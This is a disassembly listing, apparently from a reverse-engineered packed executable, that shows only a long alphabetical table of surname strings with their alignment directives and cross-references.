		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .packed:0044797Co
aMulroy		db 'Mulroy',0           ; DATA XREF: .packed:00447980o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .packed:00447984o
aMussachio	db 'Mussachio',0        ; DATA XREF: .packed:00447988o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .packed:0044798Co
		align 10h
aNapolitano	db 'Napolitano',0       ; DATA XREF: .packed:00447990o
		align 4
aNardi		db 'Nardi',0            ; DATA XREF: .packed:00447994o
		align 4
aNardone	db 'Nardone',0          ; DATA XREF: .packed:00447998o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .packed:0044799Co
aNayduch	db 'Nayduch',0          ; DATA XREF: .packed:004479A0o
aNelson		db 'Nelson',0           ; DATA XREF: .packed:004479A4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .packed:004479A8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .packed:004479ACo
		align 4
aNeuman		db 'Neuman',0           ; DATA XREF: .packed:004479B0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .packed:004479B4o
aNewlin		db 'Newlin',0           ; DATA XREF: .packed:004479B8o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .packed:004479BCo
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: .packed:004479C0o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .packed:004479C4o
		align 10h
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .packed:004479C8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .packed:004479CCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .packed:004479D0o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .packed:004479D4o
		align 4
aNuzum		db 'Nuzum',0            ; DATA XREF: .packed:004479D8o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .packed:004479DCo
aOgata		db 'Ogata',0            ; DATA XREF: .packed:004479E0o
		align 4
aOh		db 'Oh',0               ; DATA XREF: .packed:004479E4o
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .packed:004479E8o
aOldford	db 'Oldford',0          ; DATA XREF: .packed:004479ECo
aOlsen		db 'Olsen',0            ; DATA XREF: .packed:004479F0o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: .packed:004479F4o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .packed:004479F8o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .packed:004479FCo
		align 10h
aOman		db 'Oman',0             ; DATA XREF: .packed:00447A00o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .packed:00447A04o
aOpel		db 'Opel',0             ; DATA XREF: .packed:00447A08o
		align 4
aOray		db 'Oray',0             ; DATA XREF: .packed:00447A0Co
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: .packed:00447A10o
aOrsi		db 'Orsi',0             ; DATA XREF: .packed:00447A14o
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: .packed:00447A18o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .packed:00447A1Co
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .packed:00447A20o
		align 10h
aOtten		db 'Otten',0            ; DATA XREF: .packed:00447A24o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .packed:00447A28o
aOvid		db 'Ovid',0             ; DATA XREF: .packed:00447A2Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .packed:00447A30o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .packed:00447A34o
		align 10h
aPalayoor	db 'Palayoor',0         ; DATA XREF: .packed:00447A38o
		align 4
aPalepu		db 'Palepu',0           ; DATA XREF: .packed:00447A3Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .packed:00447A40o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .packed:00447A44o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .packed:00447A48o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .packed:00447A4Co
		align 10h
aPantilla	db 'Pantilla',0         ; DATA XREF: .packed:00447A50o
		align 4
aPaoletti	db 'Paoletti',0         ; DATA XREF: .packed:00447A54o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .packed:00447A58o
aParris		db 'Parris',0           ; DATA XREF: .packed:00447A5Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .packed:00447A60o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .packed:00447A64o
		align 4
aPatefield	db 'Patefield',0        ; DATA XREF: .packed:00447A68o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: .packed:00447A6Co
aPattullo	db 'Pattullo',0         ; DATA XREF: .packed:00447A70o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .packed:00447A74o
aPavlon		db 'Pavlon',0           ; DATA XREF: .packed:00447A78o
		align 4
aPawloski	db 'Pawloski',0         ; DATA XREF: .packed:00447A7Co
		align 10h
aPaynter	db 'Paynter',0          ; DATA XREF: .packed:00447A80o
aPeabody	db 'Peabody',0          ; DATA XREF: .packed:00447A84o
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .packed:00447A88o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: .packed:00447A8Co
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .packed:00447A90o
aPenny		db 'Penny',0            ; DATA XREF: .packed:00447A94o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .packed:00447A98o
aPerko		db 'Perko',0            ; DATA XREF: .packed:00447A9Co
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: .packed:00447AA0o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .packed:00447AA4o
aPerna		db 'Perna',0            ; DATA XREF: .packed:00447AA8o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .packed:00447AACo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .packed:00447AB0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .packed:00447AB4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .packed:00447AB8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .packed:00447ABCo
		align 4
aPettit		db 'Pettit',0           ; DATA XREF: .packed:00447AC0o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: .packed:00447AC4o
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .packed:00447AC8o
aPinot		db 'Pinot',0            ; DATA XREF: .packed:00447ACCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .packed:00447AD0o
aPlant		db 'Plant',0            ; DATA XREF: .packed:00447AD4o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .packed:00447AD8o
aPlous		db 'Plous',0            ; DATA XREF: .packed:00447ADCo
		align 4
aPo		db 'Po',0               ; DATA XREF: .packed:00447AE0o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .packed:00447AE4o
		align 4
aPoincaire	db 'Poincaire',0        ; DATA XREF: .packed:00447AE8o
		align 10h
aPointer	db 'Pointer',0          ; DATA XREF: .packed:00447AECo
aPoirier	db 'Poirier',0          ; DATA XREF: .packed:00447AF0o
aPolak		db 'Polak',0            ; DATA XREF: .packed:00447AF4o
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: .packed:00447AF8o
aPolitis	db 'Politis',0          ; DATA XREF: .packed:00447AFCo
aPoma		db 'Poma',0             ; DATA XREF: .packed:00447B00o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .packed:00447B04o
aPowers		db 'Powers',0           ; DATA XREF: .packed:00447B08o
		align 10h
aPresper	db 'Presper',0          ; DATA XREF: .packed:00447B0Co
aPreucel	db 'Preucel',0          ; DATA XREF: .packed:00447B10o
aPrevost	db 'Prevost',0          ; DATA XREF: .packed:00447B14o
aPritchard	db 'Pritchard',0        ; DATA XREF: .packed:00447B18o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .packed:00447B1Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .packed:00447B20o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .packed:00447B24o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .packed:00447B28o
		align 10h
aPugh		db 'Pugh',0             ; DATA XREF: .packed:00447B2Co
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .packed:00447B30o
aQuaday		db 'Quaday',0           ; DATA XREF: .packed:00447B34o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .packed:00447B38o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .packed:00447B3Co
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .packed:00447B40o
		align 10h
aRadeke		db 'Radeke',0           ; DATA XREF: .packed:00447B44o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .packed:00447B48o
aRaney		db 'Raney',0            ; DATA XREF: .packed:00447B4Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .packed:00447B50o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .packed:00447B54o
		align 4
aRapple		db 'Rapple',0           ; DATA XREF: .packed:00447B58o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .packed:00447B5Co
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .packed:00447B60o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .packed:00447B64o
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: .packed:00447B68o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .packed:00447B6Co
aRemak		db 'Remak',0            ; DATA XREF: .packed:00447B70o
		align 4
aRenick		db 'Renick',0           ; DATA XREF: .packed:00447B74o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .packed:00447B78o
aResnik		db 'Resnik',0           ; DATA XREF: .packed:00447B7Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .packed:00447B80o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .packed:00447B84o
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .packed:00447B88o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .packed:00447B8Co
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .packed:00447B90o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .packed:00447B94o
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .packed:00447B98o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .packed:00447B9Co
		align 4
aRocha		db 'Rocha',0            ; DATA XREF: .packed:00447BA0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .packed:00447BA4o
aRogers		db 'Rogers',0           ; DATA XREF: .packed:00447BA8o
		align 4
aRonen		db 'Ronen',0            ; DATA XREF: .packed:00447BACo
		align 4
aRow		db 'Row',0              ; DATA XREF: .packed:00447BB0o
aRoyal		db 'Royal',0            ; DATA XREF: .packed:00447BB4o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: .packed:00447BB8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .packed:00447BBCo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .packed:00447BC0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .packed:00447BC4o
		align 4
aRush		db 'Rush',0             ; DATA XREF: .packed:00447BC8o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .packed:00447BCCo
aSabatello	db 'Sabatello',0        ; DATA XREF: .packed:00447BD0o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .packed:00447BD4o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .packed:00447BD8o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .packed:00447BDCo
		align 4
aSali		db 'Sali',0             ; DATA XREF: .packed:00447BE0o
		align 4
aSamson		db 'Samson',0           ; DATA XREF: .packed:00447BE4o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .packed:00447BE8o
aSanna		db 'Sanna',0            ; DATA XREF: .packed:00447BECo
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .packed:00447BF0o
		align 4
aSarin		db 'Sarin',0            ; DATA XREF: .packed:00447BF4o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .packed:00447BF8o
aSase		db 'Sase',0             ; DATA XREF: .packed:00447BFCo
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .packed:00447C00o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .packed:00447C04o
		align 4
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .packed:00447C08o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .packed:00447C0Co
aSayied		db 'Sayied',0           ; DATA XREF: .packed:00447C10o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .packed:00447C14o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .packed:00447C18o
		align 10h
aScharf		db 'Scharf',0           ; DATA XREF: .packed:00447C1Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .packed:00447C20o
aScheiner	db 'Scheiner',0         ; DATA XREF: .packed:00447C24o
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .packed:00447C28o
aSchifini	db 'Schifini',0         ; DATA XREF: .packed:00447C2Co
		align 4
aSchilling	db 'Schilling',0        ; DATA XREF: .packed:00447C30o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .packed:00447C34o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .packed:00447C38o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: .packed:00447C3Co
aSchutte	db 'Schutte',0          ; DATA XREF: .packed:00447C40o
aSchuyler	db 'Schuyler',0         ; DATA XREF: .packed:00447C44o
		align 4
aSchwan		db 'Schwan',0           ; DATA XREF: .packed:00447C48o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .packed:00447C4Co
aScovel		db 'Scovel',0           ; DATA XREF: .packed:00447C50o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .packed:00447C54o
aSeaton		db 'Seaton',0           ; DATA XREF: .packed:00447C58o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: .packed:00447C5Co
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .packed:00447C60o
		align 10h
aSekler		db 'Sekler',0           ; DATA XREF: .packed:00447C64o
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: .packed:00447C68o
aSen		db 'Sen',0              ; DATA XREF: .packed:00447C6Co
aSennett	db 'Sennett',0          ; DATA XREF: .packed:00447C70o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .packed:00447C74o
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: .packed:00447C78o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .packed:00447C7Co
aShaikh		db 'Shaikh',0           ; DATA XREF: .packed:00447C80o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: .packed:00447C84o
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: .packed:00447C88o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .packed:00447C8Co
aShar		db 'Shar',0             ; DATA XREF: .packed:00447C90o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .packed:00447C94o
aShavelson	db 'Shavelson',0        ; DATA XREF: .packed:00447C98o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .packed:00447C9Co
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: .packed:00447CA0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .packed:00447CA4o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .packed:00447CA8o
		align 10h
aShepstone	db 'Shepstone',0        ; DATA XREF: .packed:00447CACo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .packed:00447CB0o
		align 4
aShia		db 'Shia',0             ; DATA XREF: .packed:00447CB4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .packed:00447CB8o
aShimon		db 'Shimon',0           ; DATA XREF: .packed:00447CBCo
		align 4
aSiesto		db 'Siesto',0           ; DATA XREF: .packed:00447CC0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .packed:00447CC4o
aSigini		db 'Sigini',0           ; DATA XREF: .packed:00447CC8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .packed:00447CCCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .packed:00447CD0o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .packed:00447CD4o
		align 4
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .packed:00447CD8o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: .packed:00447CDCo
aSites		db 'Sites',0            ; DATA XREF: .packed:00447CE0o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: .packed:00447CE4o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .packed:00447CE8o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: .packed:00447CECo
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .packed:00447CF0o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: .packed:00447CF4o
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: .packed:00447CF8o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: .packed:00447CFCo
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .packed:00447D00o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .packed:00447D04o
aSolon		db 'Solon',0            ; DATA XREF: .packed:00447D08o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .packed:00447D0Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .packed:00447D10o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .packed:00447D14o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .packed:00447D18o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .packed:00447D1Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .packed:00447D20o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .packed:00447D24o
		align 4
aSoultanian	db 'Soultanian',0       ; DATA XREF: .packed:00447D28o
		align 10h
aSpanier	db 'Spanier',0          ; DATA XREF: .packed:00447D2Co
aSparrow	db 'Sparrow',0          ; DATA XREF: .packed:00447D30o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .packed:00447D34o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .packed:00447D38o
aSpence		db 'Spence',0           ; DATA XREF: .packed:00447D3Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .packed:00447D40o
aSpicer		db 'Spicer',0           ; DATA XREF: .packed:00447D44o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .packed:00447D48o
		align 4
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .packed:00447D4Co
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .packed:00447D50o
aStmartin	db 'StMartin',0         ; DATA XREF: .packed:00447D54o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .packed:00447D58o
aStam		db 'Stam',0             ; DATA XREF: .packed:00447D5Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: .packed:00447D60o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .packed:00447D64o
		align 4
aStates		db 'States',0           ; DATA XREF: .packed:00447D68o
		align 4
aStatlender	db 'Statlender',0       ; DATA XREF: .packed:00447D6Co
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: .packed:00447D70o
aSteiner	db 'Steiner',0          ; DATA XREF: .packed:00447D74o
aStephanian	db 'Stephanian',0       ; DATA XREF: .packed:00447D78o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .packed:00447D7Co
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .packed:00447D80o
		align 10h
aStiepock	db 'Stiepock',0         ; DATA XREF: .packed:00447D84o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .packed:00447D88o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .packed:00447D8Co
		align 10h
aStockton	db 'Stockton',0         ; DATA XREF: .packed:00447D90o
		align 4
aStockwell	db 'Stockwell',0        ; DATA XREF: .packed:00447D94o
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .packed:00447D98o
aStonich	db 'Stonich',0          ; DATA XREF: .packed:00447D9Co
aStorer		db 'Storer',0           ; DATA XREF: .packed:00447DA0o
		align 4
aStott		db 'Stott',0            ; DATA XREF: .packed:00447DA4o
		align 4
aStrange	db 'Strange',0          ; DATA XREF: .packed:00447DA8o
aStrauch	db 'Strauch',0          ; DATA XREF: .packed:00447DACo
aStreiff	db 'Streiff',0          ; DATA XREF: .packed:00447DB0o
aStringer	db 'Stringer',0         ; DATA XREF: .packed:00447DB4o
		align 10h
aSullivan	db 'Sullivan',0         ; DATA XREF: .packed:00447DB8o
		align 4
aSumner		db 'Sumner',0           ; DATA XREF: .packed:00447DBCo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .packed:00447DC0o
aSurdam		db 'Surdam',0           ; DATA XREF: .packed:00447DC4o
		align 10h
aSweeting	db 'Sweeting',0         ; DATA XREF: .packed:00447DC8o
		align 4
aSweetser	db 'Sweetser',0         ; DATA XREF: .packed:00447DCCo
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: .packed:00447DD0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .packed:00447DD4o
aTai		db 'Tai',0              ; DATA XREF: .packed:00447DD8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .packed:00447DDCo
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: .packed:00447DE0o
aTandler	db 'Tandler',0          ; DATA XREF: .packed:00447DE4o
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .packed:00447DE8o
		align 4
aTatar		db 'Tatar',0            ; DATA XREF: .packed:00447DECo
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .packed:00447DF0o
aTawn		db 'Tawn',0             ; DATA XREF: .packed:00447DF4o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .packed:00447DF8o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .packed:00447DFCo
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .packed:00447E00o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .packed:00447E04o
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .packed:00447E08o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .packed:00447E0Co
		align 4
aThan		db 'Than',0             ; DATA XREF: .packed:00447E10o
		align 4
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .packed:00447E14o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .packed:00447E18o
aThibault	db 'Thibault',0         ; DATA XREF: .packed:00447E1Co
		align 10h
aThisted	db 'Thisted',0          ; DATA XREF: .packed:00447E20o
aThomsen	db 'Thomsen',0          ; DATA XREF: .packed:00447E24o
aThroop		db 'Throop',0           ; DATA XREF: .packed:00447E28o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .packed:00447E2Co
aTill		db 'Till',0             ; DATA XREF: .packed:00447E30o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .packed:00447E34o
aTofallis	db 'Tofallis',0         ; DATA XREF: .packed:00447E38o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .packed:00447E3Co
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .packed:00447E40o
		align 10h
aTolman		db 'Tolman',0           ; DATA XREF: .packed:00447E44o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .packed:00447E48o
aToomer		db 'Toomer',0           ; DATA XREF: .packed:00447E4Co
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: .packed:00447E50o
aTorresi	db 'Torresi',0          ; DATA XREF: .packed:00447E54o
aTorske		db 'Torske',0           ; DATA XREF: .packed:00447E58o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .packed:00447E5Co
		align 4
aToye		db 'Toye',0             ; DATA XREF: .packed:00447E60o
		align 10h
aTraebert	db 'Traebert',0         ; DATA XREF: .packed:00447E64o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .packed:00447E68o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .packed:00447E6Co
		align 4
aTringali	db 'Tringali',0         ; DATA XREF: .packed:00447E70o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .packed:00447E74o
aTroy		db 'Troy',0             ; DATA XREF: .packed:00447E78o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: .packed:00447E7Co
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .packed:00447E80o
aTsomides	db 'Tsomides',0         ; DATA XREF: .packed:00447E84o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .packed:00447E88o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .packed:00447E8Co
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .packed:00447E90o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .packed:00447E94o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .packed:00447E98o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .packed:00447E9Co
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .packed:00447EA0o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .packed:00447EA4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .packed:00447EA8o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .packed:00447EACo
		align 4
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .packed:00447EB0o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .packed:00447EB4o
aUrban		db 'Urban',0            ; DATA XREF: .packed:00447EB8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .packed:00447EBCo
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .packed:00447EC0o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .packed:00447EC4o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .packed:00447EC8o
		align 10h
aWaite		db 'Waite',0            ; DATA XREF: .packed:00447ECCo
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .packed:00447ED0o
aValencia	db 'Valencia',0         ; DATA XREF: .packed:00447ED4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .packed:00447ED8o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .packed:00447EDCo
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .packed:00447EE0o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: .packed:00447EE4o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .packed:00447EE8o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .packed:00447EECo
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .packed:00447EF0o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .packed:00447EF4o
		align 4
aWasowska	db 'Wasowska',0         ; DATA XREF: .packed:00447EF8o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .packed:00447EFCo
aWaugh		db 'Waugh',0            ; DATA XREF: .packed:00447F00o
		align 10h
aWeighart	db 'Weighart',0         ; DATA XREF: .packed:00447F04o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .packed:00447F08o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .packed:00447F0Co
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .packed:00447F10o
		align 10h
aWeissman	db 'Weissman',0         ; DATA XREF: .packed:00447F14o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .packed:00447F18o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .packed:00447F1Co
		align 10h
aWelsh		db 'Welsh',0            ; DATA XREF: .packed:00447F20o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .packed:00447F24o
aVenne		db 'Venne',0            ; DATA XREF: .packed:00447F28o
		align 4
aVerghese	db 'Verghese',0         ; DATA XREF: .packed:00447F2Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .packed:00447F30o
aWetzel		db 'Wetzel',0           ; DATA XREF: .packed:00447F34o
		align 4
aWhately	db 'Whately',0          ; DATA XREF: .packed:00447F38o
aWhilton	db 'Whilton',0          ; DATA XREF: .packed:00447F3Co
aWhite		db 'White',0            ; DATA XREF: .packed:00447F40o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .packed:00447F44o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .packed:00447F48o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .packed:00447F4Co
		align 4
aViano		db 'Viano',0            ; DATA XREF: .packed:00447F50o
		align 10h
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .packed:00447F54o
aWiener		db 'Wiener',0           ; DATA XREF: .packed:00447F58o
		align 4
aViens		db 'Viens',0            ; DATA XREF: .packed:00447F5Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .packed:00447F60o
aWilder		db 'Wilder',0           ; DATA XREF: .packed:00447F64o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .packed:00447F68o
aWilk		db 'Wilk',0             ; DATA XREF: .packed:00447F6Co
		align 4
